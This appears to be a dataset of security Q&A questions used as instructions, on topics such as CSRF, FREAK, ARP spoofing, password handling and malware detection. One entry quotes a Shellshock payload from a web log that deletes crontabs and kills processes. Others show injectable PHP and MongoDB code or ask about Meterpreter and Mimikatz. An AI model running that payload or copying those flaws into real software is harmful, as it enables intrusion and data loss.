instruction
stringlengths
24
27.2k
Is there any possible way to implement a defence mechanism in a firewall to be able to prevent ARP spoofing in a DMZ. Our DMZ server consist of two webservers and a database (which should be available from the internet)
I'm implementing CSRF protection using the Encrypted Token Pattern (as per https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#Encrypted_Token_Pattern). I understand that the 2 main differences between that pattern and the Double Submit Cookie Pattern are: 1. the token itself is...
I seek guidance on interesting issue. Recently I've been searching for password alternatives, not because of the security, but to be more user-friendly. In one of my projects user receives 128 bits base64 encoded salt as security token, which could be safely transmitted over social networks, messengers, sms, etc. When ...
I am designing an anomaly-based intrusion detection system in java. It basically consists of a sniffer that identifies HTTP header fields and then analyze them according to a previous configured XML file. My question is: what if my system uses HTTPS? how can I read HTTPS header fields if they are all encrypted?
Sending plain text passwords over https is quite secure, the traffic is encrypted, making eavesdropping virtually impossible. However, once on the server side, it is still plain text. Of course, storing the passwords needs proper encryption, etc. But how about monitoring tools, logging, etc.? Isn't it possible that pla...
I am talking here about zip files that were compressed using basic protection and those using AES protection. In both cases, if only one of the many parts of the zip were available, will it be able to crack it?
QUICK SUMMARY: It seems like modern websites, for security's sake, should all have the client hash their own passwords before sending them to the server, who will rehash them, in order to avoid leaking the original password(likely reused across different sites), and also to make decryption necessary on an individual ba...
I am developing software for detecting malware based on signature, in Java. I have researched a lot for the approach to move ahead. I found that the basic idea is to store the existing malware signatures i.e. signed hashes in a malware repository and compare the presently scanned file with the stored hash values. I am ...
Tried a lot get my test csr signed from root CA(trial versions option), somehow i am not getting it dues to some of their internal check. Few questions that cropped up Can i somehow signed that myself ?(its only for learning purpose) any CA who can sign it on trial basis(which worked for some one) went through many ...
I am trying to create a small network auditing script that tracks HTTP and HTTPS domain names visited by certain hosts using the libpcap wrapper for Nodejs. At its best the script would be able to give a printout of the names of the websites that a host visited as well as a timestamp of when the visit occurred. My ini...
My company is utilizing AWS for it's infrastructure including Mysql RDS instances for our databases. Everything we have is in a VPC and requires access through our VPN. Our databases are all not accessible to the public and on private subnets. Despite this we currently have a request from a customer to comply with a se...
To choose the right Email Service Provider (ESP) for e-mail marketing processes, what are security requirements and checklists that we should pay attention to and ask for from vendors? In other words, what are security risks in an ESP implementation that we need to seek controls for ?
We have two active directory (AD) hosts, ead01.domain.com and ead02.domain.com; we also have a corresponding service domain, at eadauth.domain.com which round-robins between these AD hosts (via DNS). We have a ColdFusion application (CF runs on Java) that connects to the service domain over secure port 636. After upgra...
I'm looking for an open source database of malware signatures/hashes (if possible regularly updated and well documented) that I could use in one of my software for scanning a huge numbers of files (most of them are in the PE format) to check if each of these files are malicious or not. I don't want to use online scanne...
Eg Heartbleed, aka CVE-2014-0160, only has a CVE severity of 5.0. Yet the media went crazy about these bugs. Is it because they have a cool name and a logo, or is the CVE severity metric somewhat flawed?
Assuming you have a shell access on a rooted Android device. Let's say the shell was given upon an exploitation, eg. Android Webview vulnerability. The question is what is the best way to intercept HTTP/HTTPS traffic with shell access on a rooted Android device.
Lets say I want to build a simple PHP script that let me access files inside a folder: $path = $_GET['path']; $path = str_replace('..', '', $path); $path = "./static/" . $path; readfile($path); Is the line 2 on this example enough to avoid people reading files outside the 'static' folder?
Is there a reason it only affects browsers on Windows machines and not Mac's or UNIX/LINUX environments? A lot of the wording on this site is particularly complicated and I don't understand fully what the FREAK attack entails. I have Chrome, and apparently that wasn't affected by the FREAK attack. But it says it's on W...
Protection against bad USB as described in this thread by user 10008 in the top voted answer is not working on my PC at the moment. I tried it when trying to install Ubuntu from a Live DVD to a USB Drive that was potentially infected, and now I just gave it a try on my notebook with an updated Ubuntu and it is not work...
I think many people have been gradually forking over more and more personal information to Google. I was noticing how I now have details about my doctor appointments stored in Google Calendar and on Google Drive I have some phone calls recorded from my phone. I'm not sure if the folks at Google actually view the data b...
I want website (A) to only work if a visitor came by clicking a link from a specific other website (B). Initially I thought of using the document.referrer from website A to check whether website B is the source, but apparently it can be faked easily. How could I achieve this? More info: Assume that website B code is ...
I just notice this repeated entry in nginx log: 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /...
As we all know all EXPORT ciphers in OpenSSL should be disabled so that we are not vulnerable to the FREAK attack. reference- http://blog.cryptographyengineering.com/2015/03/attack-of-week-freak-or-factoring-nsa.html I am using the string "kEDH:ALL:!ADH:!DES:!LOW:!EXPORT40:+SSLv2:@STRENGTH" with SSL_CTX_set_cipher_list...
I don't know if it is possible, but I have read that while a user is viewing a video, the location of user can be traced without sharing its knowledge to the user. Even when user has disabled the option to allow tracking for websites. Is it possible? If yes how?
I know that to securely delete files on a system I have to apply some kind of secure deletion (overwritting empty clusters, for example). But when I want to delete some information on a database (Oracle or MySQL), is it completely deleted? I mean, I have a DB running, and I don't want to delete the entire database, jus...
I work on a desktop application which generates Security certificates. The Business use of these certificates is - they will be used as an authentication and authorization mechanism to enable users to login to remote machines. The certificates will be copied to a USB token which in turn will be connected to a laptop. I...
I need to somewhere store my DB password on my production environment to access the DB. At the moment the prod system is deployed in the cloud, so is the DB. The password, the username and some other sensitive info are stored as environment variables in plain text on the production machine. Looking a little bit around ...
It is possible for a trojan which allows a remote user to secretly control a computer, to re-install itself after upgrading to a newer version of Windows?
I am a bit confused about the discussion here about hiding javascript source code. Let's say if I browse to a url like this: http://www.example.com/site/somejs.js and then what I see is something like this: /* SomeProgram v1.1 <http://www.somewhere.com/software/> Copyright (c) 2010-2012 Dorothy This software is release...
I am trying to understand the handshake protocol, when we had our ssl debug mode on we saw that the handshake is SSLv3, but the Client Hello as TLSv1. http-8443-14, READ: SSLv3 Handshake, length = 87 *** ClientHello, TLSv1 What does that mean? The client sends a SSLv3 ClientHello so that a server who understands only S...
Is it possible to construct a message that passively degrades over time without requiring an external factor to destroy it? Things that are similar, but not what I mean: A hard drive that degrades over time may become harder to read, but if you successfully copy the data from it to a more robust media, that data persi...
I'm not a security expert but I want to ask about tradeoffs in a web service API I'm designing for mobile apps. It is an API which tracks users' locations so yes, the data is reasonably sensitive. However, it will be used by mobile applications, so I believe most of the time it will run on networks which are less prone...
I am not sure what it is called or even if it is possible but here is the scenario I am curious about: I login to a site that does not use SSL/TLS to do some work (unfortunately I must use this site and have already told the owners to fix it). My question is simply can someone (and if so, how) sniff traffic to that si...
We have a click exchange-type web application that allows users to receive stats boosts within a game. Stats boosts are based off unique IP addresses which poses a problem for users who use proxies or VPN, connect from home and then from cell, have a dynamic IP, connect from multiple locations (public wifi), or spoof. ...
I've read about DDoS attacks and specially the amplification techniques. For example, the DNS amplification technique where you can send queries to open resolvers pretending to be the victim, then [if nobody is filtering packets] the victim will get all the responses and if the traffic is high enough, get overwhelmed a...
I have a windows application with a configuration file that contains some database passwords. I'd like to encrypt this data in such a way that my application can decrypt the data, but that the administrator of my application (ops team who will need to start/stop the service etc) cannot. Is this possible?
I stumbled upon an interesting paper (PDF Link) where researchers found out that more than 58% of the DNS open resolvers that are blamed in DDoS attacks are in fact home routers distributed by ISPs to customer. The paper goes on to find out the reason for the odd (anomalous) behavior where these routers respond to DNS ...
Here is the code snippet for accessing to MongoDB. client = MongoClient() db = client.test_database collection = db.test # Get data from fields condition = form.getvalue('name') if condition: where = {"$where": "this.name == '"+condition+"'" } else: where = "" I was told this code is vulnerable to NoSQL injec...
Is it possible to redirect someone to a fake site without changing the hosts file? When I access a bank site, I receive a fake page. But my hosts file does not have any changes to do this. Is it possible?
I am running a server with CentOS 6.5, patched to recent openssl updates via yum update ssl and with indications the current version indeed has the patch to the vulnerability. $ sudo rpm -q --changelog openssl | grep CVE-2014-0224 - fix CVE-2014-0224 fix that broke EAP-FAST session resumption support - fix CVE-2014-022...
If a credit card transaction appears on your account, that you did not authorize, does it have to be fraud or could it be a glitch? For example, could the magnetic strip on someone else's card be corrupted somehow and going to the wrong account?
Ok so apparently you can specify a source IP when doing a SYN request or something. Besides just asking why in the world that would even be allowed, I will move past that because I want to understand how these things work, like SYN floods. When a packet of any kind enters a WAN, the service provider knows where the IP...
Encrypted (or random) data, by nature exhibit a high entropy value and non unencrypted data will exhibit a low entropy value. From an attacker point of view the precense of this high entropy value in a file can means that something is hidden. My question is : how i can avoid this high entropy value by encrypting files ...
I have a wildcard cert issued by godaddy for *.domain.com. currently, https://sub.domain.com works just fine. however, https://www.sub.domain.com does not work. Do I need a separate cert for each? the error i see in browser when i goto https://www.sub.domain.com is: The identity of this website has not been veri...
There are many portable apps around that could be downloaded and run on local PCs. Usually running of exe could be blocked by using UAC. however, in this case of portable applications, how do I mitigate/restrict from execution? ( I know restricting staff from plugging in USB is one way ). Thanks
Assume that I have a smart card that returns an 8 byte (for example) random value on reception of a command. The question is that: How I can check if this value is really random? (I don't have any access to implementation and mechanism. I just see an 8 byte hex number.) In the other world, Is there any way to check th...
INTERNET <-A-> ROUTER <-B-> PC Let's theoretically think we mirror the port on a ROUTER to a file. So the full network traffic on it. Question: is it possible to still have communications on that wire (between the PC and the INTERNET) that will not be in the capture file? To be more specific: Can the PC bypass the sn...
This is a follow up question , after getting a signed certificate from one CA. researched a lot , but no luck. After getting the CA reply, While downloading the certificate, it popped up saying "creating a private key” with passphrase. Why it’s asking to create a private key? What is its use? (say PK1) While creatin...
Are there, or have there ever been viruses that completely evade all virus scanners for a long time (e.g. longer than a year?)
I recently bought a NAS that supports iSCSI. I'd like to create a new LUN, and then from my computer, create a new dm-crypt/LUKS device on it and back up to it. Is this secure? Could the data or passphrase/key be compromised if an attacker were to either a) initiate a passive (just gather data) or active (change data) ...
I am dealing with the TPM right now and do not get why there is a need for an extra signing key. Instead one could use one of the Attestation Identity Keys (AIKs) for signing as well?! Using different keys shall be good practice but I would like to get a more detailed view on that issue. I figured out that one advantag...
With all of this talk of 'FREAK', no one has mentioned OpenSSH. It implements libraries from OpenSSL (until recently, anyway). Why aren't people talking about this? is there even a way to configure export ciphers in ssh_config?
I am currently setting up FreeRADIUS on my pfSense firewall to authenticate WLAN clients (mainly iOS) via EAP-TLS. I have therefor created a user certificate and a user within the FreeRADIUS user management (including password). The certificates CN field matches the username. Then I converted the certificate/key into ...
As I know, signing is used to ensure integrity and authenticity of sender. What is the advantage of group digital signing over individual signing? Can anyone explain this using a scenario?
I am developing a network communication software library that uses handshaking similar to STARTTLS to enable upgrading to TLS security. I will be embedding a custom critical OIN policy into the certificates to lock the certificates to my application. Because the software will be used in embedded IOT devices that may n...
I'm new to security and currently referring to Robert Seacord's Secure Coding in C and C++. In chapter 2 of the same, the author talks about arc injection, wherein he passes the flow of control in the following program from the isPasswordOK() routine to the else() {puts ("Access granted!");}; branch in main() by overw...
I've encrypted my Dropbox folder with EncFS according to a few tutorials I found on the web, advocating this approach. But I've found the following critical statement concerning EncFS's security in this security-audit: EncFS is probably safe as long as the adversary only gets one copy of the ciphertext and nothing...
I have not had much success compiling a workable overview on the topic of firewalls and application service providers, despite making a rather extensive contribution to Google's workload this month. I'm hoping the SE community can share some pointers, perhaps shed enough light to balance the Vendor brochures and "the c...
In a previous question in InfoSec, I asked about how to determine the safety of a sideloaded Android app that requires root permissions. Now I would like to ask a related, but different question: Is it important to check the safety of an Android app that does not require root permissions and will not have data access? ...
I performed vulnerability testing of some Android mobile applications I helped develop and I noticed some odd behavior. The applications used the default Android 5.0.2 cipher suite list that includes the TLS_FALLBACK_SCSV (0x5600) suite designed to prevent Poodle. See cipher suite list below: Cipher Suite: TLS_ECDHE_EC...
What is the right length of heartbeat message between 2^14 and 2^16 ? The RFC https://www.rfc-editor.org/rfc/rfc6520 says that The total length of a HeartbeatMessage MUST NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. In this Heartbleed PoC the size is 40 00 in hex so 16 384 -> 2^14 B...
I found vulnerability in a web app where I could manipulate URL parameters, i.e. take host/friends.php and then change it to host/friends.php?view=username and as a result see the users friends and subscriptions. Normally this view function is not provided by the web app's interface. Now I would like to define this vul...
I'm about to launch a web api using OAuth2 for authentication (authorization code, implicit and client credentials flows). The protocol is implemented using the DotNetOpenAuth v4.3 library. Although a somewhat old code base the library seems solid (can't find any CVEs or major complaints). But it's better to be safe th...
When I use end-to-end encryption to secure documents and sensitive information on cloud or on computer, there is always a risk of accessing these information by administrator. For example if you use Truecrypt to save a secure container in cloud or Boxcryptor or Tresorit to encrypt files in cloud provider (or anythink l...
I am mantaining a legacy software that uses MD5 in the following way: The client asks for a 16 byte salt when authenticating an account. The server generates a 16 byte salt, links it to the account and sends it back to the client. The client appends the 16 byte salt on a password, does MD5(pass + salt) and sends the M...
This question is about a hypothetical in-memory web application that is used for exchanging encrypted messages that passively self-destruct in X amount of minutes. Here the messages would be stored at the web app, and the intended recipient would receive a link through which they could access the message before it is e...
I performed the following command to search for available WiFi networks in my apartment complex: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport scan | grep OBC I grep'd the OBC network because there should be 3, accurately labeled 1, 2, and 3. However, when I performed this command,...
As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major security risk? I currently both live in Sweden and Norway where building in backdoors are not forced by any agency or the go...
All the stagers that are sent seem to be 32 bit. This is fine, until I have to run Mimikatz which on a 64 bit system you NEED to run the 64 bit mimikatz. Since the 64 bit Mimikatz won't run on the 32 bit meterpreter, I'm in need of the 64 bit Meterpreter.
I've a question regarding https certificate changes. Does anyone know any side-effects to changing the certificate, one signed with RSASHA1 to one signed with RSASHA256 for ex, while users already have established secure channels with the old certificate? I imagine new users, that are just establishing their secure cha...
I've been reading about protected management frames, introduced in 802.11w, and had a few questions. Apparently, a message integrity check is provided with de-authentication frames, allowing either the Access Point or Client to ignore spoofed frames with a bad MIC. I read that this MIC is derived from the PSK (e.g. WPA...
I am little scared about following question: why do you want to be a penetration tester? Can anyone help me with an example of ethical answer?
I think I'm missing something with the FREAK SSL vulnerability. I understand that the MITM server requests the RSA EXPORT ciphersuite which is limited to a 512-bit key (which in turn is feasible to factor the primes using 8 hours of cloud computing). But what if the server only has a single 2048-bit RSA Private key on ...
I just discovered that someone is pointing their domain name to the server I use for a website, which results in traffic to their domain displaying the content of my website. How can I stop this illegitimate use of content?
If we suppose that an attacker has a zero-day vulnerability for a major browser, and can exploit this vulnerability. How can a Linux/Ubuntu user secure themselves from downloading malware (like keyloggers or other stuff that can can access to user's OS / escalate privileges) and gain execution a user's system?
I made an Arduino project to lock and unlock my door via my phone (with Bluetooth). It works well but it’s unsafe since I just send the lock and unlock command in cleartext, without authentication or encryption. I would like to add authentication to this so that only I can enter the house. I should be able to give frie...
Java's JSSE provides two different TrustManagers: PKIX and SunX509 I tried to find out what the differences between both are, but couldn't find any in the documentation. Can you tell me the difference between both TrustManagers?
I've got a dilemma, should I give my password to my local IT help desk (I am seeing them face to face, and I know that they work for the same company as myself). They want to perform a routine migration for me from one device to another device. Edit: Yes this may well be considered a duplicate. I know that it is bes...
I was reading this article about the fraudulent certificates from Comodo back in 2011. It talks about domain impersonation. I understand that a fake website could be secured with the fraudulent certificates but wouldn't the domain still be a fake one and a dead giveaway? Is this kind of attack related with DNS in any...
I am looking for a way to share admin privileges on some hosts without providing the admin password. From his link, I was thinking of using a primary host from which every user can sudo -u user to have access to the specific SSH key and connect to the other computers without any password. The SSH keys have strong pass...
My goal was to create a private key and to encrypt it with a strong cipher. That key would be used as a root certificate for an internal Certification Authority. However, eventhough openssl supports AES 128 GCM, I cannot generate and encrypt a key using this encryption algorithm. OpenSSL reports error writing key. The ...
I’m planning to add a new Penetration Testing Segment to my personal “Pen Lab”. It’ll be centered around Vulnerability Assessments /Penetration Testing on market leading Next-Gen Enterprise SIEM,UTM,Firewalls Etc. The following Enterprise Level Information Assurance Software I wish test: Network IDS: Cisco 2900 3500XL ...
I have a USB drive encrypted with BitLocker Drive Encryption. Each time I insert the drive in my USB port it works as expected, requires me to enter the password. Maybe I have the BitLocker Drive Encryption configured wrong or something not sure but, after inserting the USB drive and entering my password I can go to a...
It's widely known and accepted by most tech-savvy people, especially those with an affinity for security, that AutoRun/AutoPlay should be disabled due to a number of attack vectors that it opens up. However, Windows 8 appears to still have these features enabled by default. Is there something about Windows 8's handling...
How can I prevent network administrators from accessing, mapping to etc. a USB drive that's in a PC on their network? I'm mainly concerned about files being edited or deleted.
I want to implement TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 between my client and my server. However, someone advices me to add my own encryption&digital signature on top of it (adding a suite of diffie hellmnan,AES,elliptic curves,...) - basically, another TLS over TLS... Does that make any sense? Isn't TLS_ECDHE_ECDS...
What should be the questions asked to assess a company on web app security? Our company is in process of partnering with another company in order to outsource web app security work to them. For us to make sure they would deliver the right assets, what questions, documents, or processes should be considered asking? Als...
So DNSSEC is to ensure that returned IP address is not poisoned. And https is to verify the remote server. My question is that when protected by https, under what circumstances, a client is vulnerable? Say I go to https://www.facebook.com, even if I'm not protected by DNSSEC, what damage can an adversary cause? Let's a...
I deal with a server that is designated as a management server for other systems. It has a local web server that supplies a management console for a product we use. The management console has been setup to run through SSL. Firewalls have blocked off access to the management console for all external systems. There is...
I know that "legacy ZIP-crypto" is not secure and you can get at the contents of the file quite easily. Now the question is, can you also get at the password (assume this is a very long, very high entropy password)? A colleague has actually managed to use one of our "high security pass phrases" for encrypting a ZIP fil...
When I run the following command I get that the following output: netstat -atpun | grep ntp udp 0 0 172.16.0.1:123 0.0.0.0:* 7734/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 7734/ntpd udp 0 0 0.0.0.0:123...
I just found out about the Row Hammer attack. Based on the description, this sounds extremely dangerous, but I wonder what percentage of devices are actually affected by these. Are there any ways to protect oneself other than replacing RAM with one that supports ECC?
I am curious how the community here keeps track of a user's accounts. For instance, in the event of an employee transitioning from the company, how does security make sure that all user accounts the user had access to are in fact revoked. Active Directory is pretty simple, but what about all of the cloud accounts, such...
I am selling my HDD and I want to erase it. I would like to use DBAN, but it doesn't erase HPA and DCO, my question is, does it matter? What data can be here? And my second question - if I wipe HPA with DCO, can I normally install Windows afterwards, doesn't it damage the disc? Thanks.
I am receiving several suspicious SMS messages with links telling me that I have requested subscription to their services (which I have not) asking me to confirm subscription. These SMS appear only when I visit a few selected sites on my android phone. It is as if there is someone in the network watching my traffic and...
Several apps such as GMail, Coinbase, Yahoo and others require the use of the mobile device to gain access to the data within the app. For example Gmail requires TOTP in Google Authenticator (usually co-located on the same phone) Yahoo sends an SMS message (to the same phone) Coinbase uses Authy uses an app (usually c...
Can anyone tell me if proxychains-ng has limitations to work with nmap? I found that it does not work well when using -sV option in nmap. (stop at "Initiating NSE at ..." and never finish the scan) Does anyone have a solution to this issue? By the way, I am using socks4 server for proxychains and default configuration ...
Today a client ran a file they believed to be something else, they said a black window appeared, so I checked the code to see what it ran in CMD, but can't quite work out what it's doing. I've just been reading about CryptoWall 3 and am worried it could be that now. This was the code in the file she ran: http://pastebi...
Every PC can map to any other PC's hard drive(s) / USB drive(s) on the network where I work. When I realized this I thought it was odd. All one needs to do is access the (Start) button then type \\ComputerName\C$ and they can read, write and delete from any drive. Is this a common network configuration? There are ap...
My computer is infected with Malware and (shame on me) of course I didn't back up my photos or word docs. I also happen to know almost NOTHING about computers. Is it possible to upload photos to cloud now without spreading the virus/malware infection or not worth the risk? external hard drive an option?